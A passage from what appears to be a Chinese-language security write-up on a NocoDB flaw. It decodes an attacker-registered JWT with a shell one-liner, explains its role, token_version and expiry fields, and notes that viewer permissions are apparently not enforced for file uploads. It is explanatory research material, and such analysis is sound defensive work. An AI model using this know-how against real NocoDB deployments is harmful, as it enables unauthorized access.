TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImF0dGFja2VyQGV2aWwuY29tIiwiaWQiOiJ1czV5aHB1OXRnM21laDR5Iiwicm9sZXMiOiJvcmctbGV2ZWwtdmlld2VyIiwidG9rZW5fdmVyc2lvbiI6Ijg5NjI4ZWI4MmNjM2VhOTc0YTJjMThiN2Q5NzFiZTJlYTE5ZmRjYmQ4NWY4MGIyYTA2YmFkYTBjZDMzM2YzM2RlNjUzYjc1NWM3YTJjYzg3IiwiaWF0IjoxNzg1MTM2MDExLCJleHAiOjE3ODUxNzIwMTF9.nc8_X1l8Vx-t9Nh3_Hh3qjO3Y7Qh0cJwvaSM7Vk4G0TM" +$ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool +``` + +``` +{ + "email": "attacker@evil.com", + "id": "us5yhpu9tg3meh4y", + "roles": "org-level-viewer", + "token_version": "89628eb82cc3ea9742a8f5...", + "iat": 1785136011, + "exp": 1785172011 +} +``` + +JWT 的 payload 里值得关注的有这几项: + +roles: org-level-viewer,这是最低权限角色,意味着新注册的用户只能查看公开数据,不能创建表、不能修改配置。但后面我们会看到,viewer 的权限限制在文件上传这个场景下没有被严格执行。 + +token\_version: 一串 64 字符的 hex 字符串,这是 NocoDB 的会话管理机制——每次登出或密码变更时,服务端会更新这个值,旧 Token 因为 token\_version 不匹配而失效。这个概念本身很好,但问题在于它是一个"防君子不防小人"的机制——攻击者主动注册的账号不存在登出场景,token\_version 从创建到过期不会变化。 + +iat / exp: iat=1785136011 是签发时间(2026-07-27 14:13:31 UTC),exp=1785172011 是过期时间(2026-07-28 00:13:31 UTC),相差正好 10 小时。这个窗口不算短——攻击者拿到 Token 后有整整一个白天的时间做侦察。如果你在写 PoC 脚本,可以用 date -d @1785136011 把时间戳转成可读时间。 + +另外注意 JWT 的签名算法 + + +![](data:image/png;base64,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